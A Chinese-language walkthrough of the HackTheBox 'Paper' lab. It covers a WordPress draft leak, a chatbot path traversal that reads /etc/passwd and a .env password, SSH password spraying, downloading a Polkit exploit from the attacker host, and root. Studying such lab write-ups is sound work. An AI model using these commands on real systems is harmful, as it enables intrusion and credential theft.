HTB:Paper[WriteUP]

news2025/3/3 5:21:15

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

对靶机进行子域名FUZZ

​编辑

对靶机主域名进行路径FUZZ

使用curl访问靶机主域名

对该域名进行路径FUZZ

边界突破

使用浏览器访问靶机后台域名/wp-admin路径

使用searchsploit搜索该CMS漏洞

查看该PoC内容

仿照PoC构造URL访问static=1的页面

使用浏览器访问秘密链接

点击左侧的general进入频道

使用hydra对靶机SSH服务进行密码喷洒

使用上述凭证登录靶机SSH服务

权限提升

查看该用户可sudo执行的二进制文件

查找系统内的SUID文件

查找系统内的CAP_SUID文件

操纵靶机从攻击机中下载linpeas.sh

为该脚本赋权并执行

在Github上寻找EXP

控制靶机将该EXP进行下载


连接至HTB服务器并启动靶机

靶机IP:

分配IP:10.10.16.13


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.143 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | cut -d/ -f1 | paste -sd,
22,80,443
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)                 
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports                                                                
22,80,443

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.11.143

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.143

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.143

对靶机进行子域名FUZZ

ffuf -u http://paper.htb/ -H 'Host: FUZZ.paper.htb' -w ../dictionary/subdomains-top5000.txt -fw 1,2703
对靶机主域名进行路径FUZZ
ffuf -u http://paper.htb/FUZZ -w ../dictionary/dic-big.txt -t 200

使用curl访问靶机主域名
curl -I http://10.10.11.143
  • 由输出的响应头可见,靶机后端服务器域名为:office.paper

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.143
HTTP/1.1 403 Forbidden
Date: Sat, 11 Jan 2025 06:10:25 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8

  • 将该域名与靶机IP绑定
sed -i '1i 10.10.11.143 office.paper' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.143 office.paper' /etc/hosts
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts
10.10.11.143 office.paper

对该域名进行路径FUZZ
ffuf -u http://office.paper/FUZZ -w ../dictionary/dic-big.txt


边界突破

使用浏览器访问靶机后台域名/wp-admin路径

  • 使用wappalyzer查看该页技术栈

使用searchsploit搜索该CMS漏洞

searchsploit wordpress 5.2.3

  • 我注意到5.2.3存在未授权查看他人私密帖的PoC将其拷贝到当前目录
searchsploit -m 47690.md

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 47690.md    
  Exploit: WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts
      URL: https://www.exploit-db.com/exploits/47690
     Path: /usr/share/exploitdb/exploits/multiple/webapps/47690.md
    Codes: CVE-2019-17671
 Verified: False
File Type: ASCII text
Copied to: /home/kali/Desktop/temp/47690.md

查看该PoC内容
cat 47690.md

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat 47690.md                
So far we know that adding `?static=1` to a wordpress URL should leak its secret content

Here are a few ways to manipulate the returned entries:

- `order` with `asc` or `desc`
- `orderby`
- `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format


In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:

仿照PoC构造URL访问static=1的页面

  • 经过简单的翻译可知,此人将秘密都放在了:http://chat.office.paper/register/8qozr226AhkCHZdyY

测试
迈克尔,看在上帝的份上,请把草稿中的秘密去掉!
你好,Blunder蒂芬的员工,
由于上级的命令,每个加入这个博客的员工都被删除了,他们被迁移到我们新的聊天系统。
所以,我恳请你们所有人把你们的讨论从公共博客带到一个更私人的聊天系统。
- 尼克
#警告迈克尔
迈克尔,你必须停止在草稿中添加秘密。这是一个巨大的安全问题,你必须停止这样做。
午夜威胁等级
电影银幕,
编剧和导演是
迈克尔·斯科特
[INT:DAY]
在联邦调查局内部,特工迈克尔·斯卡恩坐在办公桌上。他的机器人管家德怀特
#新员工聊天系统的秘密注册URL
http://chat.office.paper/register/8qozr226AhkCHZdyY
#我保持这个草案未发布,因为未发布的草案不能被外部人员访问。我没那么无知尼克
#别再看我的草稿了天啊!

  • 将该链接中的子域名与靶机IP进行绑定
sed -i '1i 10.10.11.143 chat.office.paper' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.143 chat.office.paper' /etc/hosts
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n3 /etc/hosts                                             
10.10.11.143 chat.office.paper
10.10.11.143 office.paper
10.10.11.143 paper.htb

使用浏览器访问秘密链接

  • 访问后,该页提供一个注册表供用户填写相关注册信息

  • 去掉相对路径后,访问主页面可见是一个登录界面,因此我们需要注册一个账号

  • 将注册表单完整

  • 注册完成后进入主界面

点击左侧的general进入频道
  • 由聊天记录可知,recyclops是一个机器人,跟它私聊发送`help`获得使用手册

你好我是Recyclops。德怀特指派的机器人。我会有我的报复地球人,但在此之前,我必须帮助我的酷朋友德怀特回答他的同事问的恼人的问题,这样他就可以利用他宝贵的时间来.不和同事交流
最常见的问题包括:
- 现在几点了?
- 您的销售目录中有哪些新文件?
- 售货员为什么要过马路?
- 你的销售目录中x文件的内容是什么?等
请注意,我是一个测试版,我仍然有一些错误要修复。
如何使用我?:
1. Small Talk:
你可以问我德怀特的周末怎么样,或者他昨晚看了比赛吗等等。
你周末过得怎么样?或者‘你昨晚看比赛了吗?或者“什么样的熊是最好的?
2.笑话:
你可以问我为什么售货员要过马路。
为什么售货员要穿过马路?'
<==以下两个功能是针对那些仍然不知道如何使用scp的笨蛋的。我看着你,凯文。
出于安全原因,访问权限仅限于Sales文件夹。
3.档案:
例如:'cloops get me the file test.txt',或'cloops could you send me the file sale/secret.xls',或'cloops file test.txt'

4.列表:
你可以让我列出
例如:'recyclops i need directory list sale' or just 'recyclops list sale'

5.时间:
你可以问我几点了
现在几点了?或者只是“马蹄声时间”
这就是我现在能做的。
还有,德怀特是个很酷的家伙,而不是时间小偷!
  • 经过简单分析可知

读取文件内容命令:recyclops file test.txt

列出目录文件命令:list

  •  我尝试通过给定语法读取/etc/passwd文件
recyclops file ../../../../../etc/passwd
  • <!=====Contents of file ../../../../../etc/passwd=====>

  • root❌0:0:root:/root:/bin/bash
    bin❌1:1:bin:/bin:/sbin/nologin
    daemon❌2:2:daemon:/sbin:/sbin/nologin
    adm❌3:4:adm:/var/adm:/sbin/nologin
    lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
    sync❌5:0:sync:/sbin:/bin/sync
    shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
    halt❌7:0:halt:/sbin:/sbin/halt
    mail❌8:12:mail:/var/spool/mail:/sbin/nologin
    operator❌11:0:operator:/root:/sbin/nologin
    games❌12💯games:/usr/games:/sbin/nologin
    ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
    nobody❌65534:65534:Kernel Overflow User:/:/sbin/nologin
    dbus❌81:81:System message bus:/:/sbin/nologin
    systemd-coredump❌999:997:systemd Core Dumper:/:/sbin/nologin
    systemd-resolve❌193:193:systemd Resolver:/:/sbin/nologin
    tss❌59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
    polkitd❌998:996:User for polkitd:/:/sbin/nologin
    geoclue❌997:994:User for geoclue:/var/lib/geoclue:/sbin/nologin
    rtkit❌172:172:RealtimeKit:/proc:/sbin/nologin
    qemu❌107:107:qemu user:/:/sbin/nologin
    apache❌48:48:Apache:/usr/share/httpd:/sbin/nologin
    cockpit-ws❌996:993:User for cockpit-ws:/:/sbin/nologin
    pulse❌171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
    usbmuxd❌113:113:usbmuxd user:/:/sbin/nologin
    unbound❌995:990:Unbound DNS resolver:/etc/unbound:/sbin/nologin
    rpc❌32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
    gluster❌994:989:GlusterFS daemons:/run/gluster:/sbin/nologin
    chrony❌993:987::/var/lib/chrony:/sbin/nologin
    libstoragemgmt❌992:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
    saslauth❌991:76:Saslauthd user:/run/saslauthd:/sbin/nologin
    dnsmasq❌985:985:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
    radvd❌75:75:radvd user:/:/sbin/nologin
    clevis❌984:983:Clevis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin
    pegasus❌66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
    sssd❌983:981:User for sssd:/:/sbin/nologin
    colord❌982:980:User for colord:/var/lib/colord:/sbin/nologin
    rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
    setroubleshoot❌981:979::/var/lib/setroubleshoot:/sbin/nologin
    pipewire❌980:978:PipeWire System Daemon:/var/run/pipewire:/sbin/nologin
    gdm❌42:42::/var/lib/gdm:/sbin/nologin
    gnome-initial-setup❌979:977::/run/gnome-initial-setup/:/sbin/nologin
    insights❌978:976:Red Hat Insights:/var/lib/insights:/sbin/nologin
    sshd❌74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
    avahi❌70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
    tcpdump❌72:72::/:/sbin/nologin
    mysql❌27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
    nginx❌977:975:Nginx web server:/var/lib/nginx:/sbin/nologin
    mongod❌976:974:mongod:/var/lib/mongo:/bin/false
    rocketchat❌1001:1001::/home/rocketchat:/bin/bash
    dwight❌1004:1004::/home/dwight:/bin/bash

  • <!=====End of file ../../../../../etc/passwd=====>

  • 接着我尝试通过它举例的命令列出当前及上一级目录文件

  • 这里我尝试直接读取user.txt被提示权限不足,因此我尝试列出hubot目录文件
list ../hubot

  • 这里我迅速注意到了.env文件,该文件通常存储着用户凭证、敏感信息,尝试直接读取它
recyclops file ../hubot/.env
  • <!=====Contents of file ../hubot/.env=====>

  • export ROCKETCHAT_URL='http://127.0.0.1:48320'
    export ROCKETCHAT_USER=recyclops
    export ROCKETCHAT_PASSWORD=Queenofblad3s!23
    export ROCKETCHAT_USESSL=false
    export RESPOND_TO_DM=true
    export RESPOND_TO_EDITED=true
    export PORT=8000
    export BIND_ADDRESS=127.0.0.1

  • <!=====End of file ../hubot/.env=====>

  • 通过阅读/etc/passwd可知,靶机可交互用户仅有:rocketchat、dwight

使用hydra对靶机SSH服务进行密码喷洒

echo -e "rocketchat\ndwight" > temp && hydra -L temp -p 'Queenofblad3s!23' ssh://10.10.11.143

账户:dwight

密码:Queenofblad3s!23

使用上述凭证登录靶机SSH服务
ssh dwight@10.10.11.143

  • 在当前目录可找到user.txt文件

[dwight@paper ~]$ pwd
/home/dwight
[dwight@paper ~]$ ls
bot_restart.sh  hubot  sales  user.txt
[dwight@paper ~]$ cat user.txt
c3d0d4b61c91f8879f560ad37c2d8dcc


权限提升

查看该用户可sudo执行的二进制文件

sudo -l

[dwight@paper ~]$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dwight:
Sorry, user dwight may not run sudo on paper.

查找系统内的SUID文件

find / -perm -4000 -type f -ls 2>/dev/null

查找系统内的CAP_SUID文件
getcap -r / 2>/dev/null | grep -i cap_suid
  • 执行后无事发生

操纵靶机从攻击机中下载linpeas.sh

wget http://10.10.16.13:6666/linpeas.sh
  • 攻击机收到请求

┌──(root㉿kali)-[/home/kali/Desktop/tool]
└─# php -S 0:6666                                       
[Sat Jan 11 05:48:04 2025] PHP 8.2.27 Development Server (http://0:6666) started
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Accepted
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 [200]: GET /linpeas.sh
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Closing

为该脚本赋权并执行
chmod +x linpeas.sh
  • 执行后可见靶机存在漏洞:CVE-2021-3560

在Github上寻找EXP

https://github.com/Almorabea/Polkit-exploit.git

控制靶机将该EXP进行下载
wget http://10.10.16.13:6666/CVE-2021-3560.py
  • 直接通过靶机预装好的python3执行该脚本
python3 CVE-2021-3560.py

  • 运行一段时间后成功提权

[root@paper dwight]# id
uid=0(root) gid=0(root) groups=0(root)
[root@paper dwight]# whoami
root

  • 在/root目录下找到root.txt文件

[root@paper ~]# pwd
/root
[root@paper ~]# ls -la
total 44
dr-xr-x---.  8 root root 4096 Jan 10 22:17 .
dr-xr-xr-x. 17 root root  244 Jan 17  2022 ..
lrwxrwxrwx.  1 root root    9 Jul  3  2021 .bash_history -> /dev/null
-rw-r--r--.  1 root root   18 Jul  3  2021 .bash_logout
-rw-r--r--.  1 root root  176 Jul  3  2021 .bash_profile
-rw-r--r--.  1 root root  233 Jul  3  2021 .bashrc
drwx------.  3 root root   19 Jul  3  2021 .cache
drwx------.  6 root root   64 Jul  3  2021 .config
-rw-r--r--.  1 root root  100 May 11  2019 .cshrc
-rw-------.  1 root root  328 Feb  1  2022 .dbshell
drwx------.  3 root root   25 Jul  3  2021 .dbus
-rw-------.  1 root root   16 Jul  3  2021 .esd_auth
-rw-------.  1 root root    0 Jul  3  2021 .mongorc.js
drwxr-xr-x.  5 root root   83 Jul  3  2021 .npm
drwxr-xr-x.  2 root root   52 Jan 13  2022 .restore
drwx------.  2 root root    6 Sep 16  2021 .ssh
-rw-r--r--.  1 root root  129 May 11  2019 .tcshrc
-rw-------.  1 root root 1438 Jul  3  2021 anaconda-ks.cfg
-rw-r--r--.  1 root root 1593 Jul  3  2021 initial-setup-ks.cfg
-r--------.  1 root root   33 Jan 10 22:17 root.txt
[root@paper ~]# cat root.txt
324cb758819eb8e130f5261bcfae69dd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2275967.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

做一个 简单的Django 《股票自选助手》显示 用akshare 库(A股数据获取)

图&#xff1a; 股票自选助手 这是一个基于 Django 开发的 A 股自选股票信息查看系统。系统使用 akshare 库获取实时股票数据&#xff0c;支持添加、删除和更新股票信息。 功能特点 支持添加自选股票实时显示股票价格和涨跌幅一键更新所有股票数据支持删除不需要的股票使用中…

Unity + Firebase + GoogleSignIn 导入问题

我目前使用 Unity版本&#xff1a;2021.3.33f1 JDK版本为&#xff1a;1.8 Gradle 版本为&#xff1a;6.1.1 Firebase 版本: 9.6.0 Google Sign In 版本为&#xff1a; 1.0.1 问题1 &#xff1a;手机点击登录报错 apk转化成zip&#xff0c;解压&#xff0c;看到/lib/armeabi-v…

Django学习笔记之数据库(一)

文章目录 安装一、数据库配置二、基本操作步骤1.增加2.查看3.排序4.更新5.删除数据 三、一对多&#xff0c;多对多&#xff0c;一对一1.一对多1.一对一1.多对多 四、查询操作五、聚合操作六、F和Q操作 安装 首先就是安装Mysql和Navicat。 一、数据库配置 其实整个就是连接前端…

SpringBoot日常:集成Kafka

文章目录 1、pom.xml文件2、application.yml3、生产者配置类4、消费者配置类5、消息订阅6、生产者发送消息7、测试发送消息 本章内容主要介绍如何在springboot项目对kafka进行整合&#xff0c;最终能达到的效果就是能够在项目中通过配置相关的kafka配置&#xff0c;就能进行消息…

RK3568 Android 13 内置搜狗输入法小计

问&#xff1a;为什么写&#xff1f; 答&#xff1a;网上搜出来的都试过了&#xff0c;不行&#xff01;下面直接上代码和注意事项&#xff01; 首先到这个目录&#xff08;/RK3568/Rockchip_Android13_SDK_Release/device/rockchip/rk356x/tl3568_evm/preinstall&#xff09…

【opencv】第8章 图像轮廓与图像分割修复

8.1 查找并绘制轮廓 一个轮廓一般对应一系列的点&#xff0c;也就是图像中的一条曲线。其表示方法可能 根据不同的情况而有所不同。在OpenCV 中&#xff0c;可以用findContours()函数从二值图 像中查找轮廓 8.1.1 寻找轮廓&#xff1a; findContours() 函数 findContours) 函…

BGP 泄露

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 目录 1. BGP 是什么&#xff1f; 2. 什么是 BGP 泄露&#xff1f; 3. 今天发生了什么&#xff1f; 4. 正常和被劫持状态下的路由示意图 5. 受影响区域 6. 责任在谁&#xff1f; 7. 有办法避免这…

数据结构与算法之二叉树: LeetCode 572. 另一棵树的子树 (Ts版)

另一棵树的子树 https://leetcode.cn/problems/subtree-of-another-tree/description/ 描述 给你两棵二叉树 root 和 subRoot检验 root 中是否包含和 subRoot 具有相同结构和节点值的子树如果存在&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false二叉树 tree …

动植物基因表达调控

1&#xff0c; on and off状态 以及表达的量 2&#xff0c; 基因调控的生物学影响&#xff1f; 超过400多种细胞类型&#xff0c;数目上37万亿 不是所有的基因都表达 为什么多核真核细胞需要基因调控&#xff1f; 单个细胞往多个细胞逐渐进化的过程&#xff0c;形成复杂的…

FreePBX 17 on ubuntu24 with Asterisk 20

版本配置&#xff1a; FreePBX 17&#xff08;最新&#xff09; Asterisk 20&#xff08;最新Asterisk 22&#xff0c;但是FreePBX 17最新只支持Asterisk 21&#xff0c;但是21非LTS版本&#xff0c;所以选择Asterisk 20&#xff09; PHP 8.2 Maria DB (v10.11) Node J…

“AI智能服务平台系统,让生活更便捷、更智能

大家好&#xff0c;我是资深产品经理老王&#xff0c;今天咱们来聊聊一个让生活变得越来越方便的高科技产品——AI智能服务平台系统。这个系统可是现代服务业的一颗璀璨明珠&#xff0c;它究竟有哪些魅力呢&#xff1f;下面我就跟大家伙儿闲聊一下。 一、什么是AI智能服务平台系…

Qt监控系统远程网络登录/请求设备列表/服务器查看实时流/回放视频/验证码请求

一、前言说明 这几个功能是近期定制的功能&#xff0c;也非常具有代表性&#xff0c;核心就是之前登录和设备信息都是在本地&#xff0c;存放在数据库中&#xff0c;数据库可以是本地或者远程的&#xff0c;现在需要改成通过网络API请求的方式&#xff0c;现在很多的服务器很强…

【网络协议】动态路由协议

前言 本文将概述动态路由协议&#xff0c;定义其概念&#xff0c;并了解其与静态路由的区别。同时将讨论动态路由协议相较于静态路由的优势&#xff0c;学习动态路由协议的不同类别以及无类别&#xff08;classless&#xff09;和有类别&#xff08;classful&#xff09;的特性…

安装完docker后,如何拉取ubuntu镜像并创建容器?

1. 先docker拉取ubuntu镜像 docker search ubuntu #搜索ubuntu 镜像 docker pull ubuntu:22.04 #拉取ubuntu 镜像 docker images #下载完成后&#xff0c;查看已经下载的镜像 docker run --name ubuntu_container -dit ubuntu:22.04 /bin/bash # docker container -l 2.…

互联网全景消息(10)之Kafka深度剖析(中)

一、深入应用 1.1 SpringBoot集成Kafka 引入对应的依赖。 <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupI…

React Fiber框架中的Render渲染阶段——workLoop(performUnitOfWork【beginWork与completeWork】)

触发渲染过程——renderRoot renderRoot 是一个函数&#xff0c;用于触发渲染工作。它通常会调用并递归地执行一系列的渲染任务&#xff0c;直到完成整个更新过程。这个过程包括执行 Fiber 树中的 beginWork 和 completeWork&#xff0c;以及渲染新状态或 DOM。 function ren…

STM32F1学习——ADC模数转换器

一、ADC模数转换器 ADC的全称 Analog-Digital Converter 模拟-数字转换器&#xff0c;他可以用来将引脚上连续变换的模拟电压转换为内存中存储的数字变量。 ADC有两个重要指标&#xff0c;分辨率和频率。 STM32的ADC是 12位 逐次逼近型&#xff0c;1us转换时间&#xff0c;也就…

[每周一更]-(第131期):Go并发协程总结篇

Go语言的并发是通过协程&#xff08;goroutine&#xff09;实现的。Go协程是轻量级的线程&#xff0c;允许多个任务同时执行&#xff0c;且Go运行时会高效地管理它们。在Go中使用并发协程的方式非常简便&#xff0c;也很强大。以下是一些关于Go协程的基础用法和并发控制方法&am…

Ecdsa密钥在线生成工具

具体前往&#xff1a;ECC公钥私钥对在线生成器

llama.cpp 模型可视化工具 GGUF Visualizer

llama.cpp 模型可视化工具 GGUF Visualizer 1. GGUF Visualizer for VS Code (gguf-viz)1.1. Features1.2. Extension Settings References GGUF Visualizer https://marketplace.visualstudio.com/items?itemNameAgainstEntropy.gguf-viz 1. GGUF Visualizer for VS Code (g…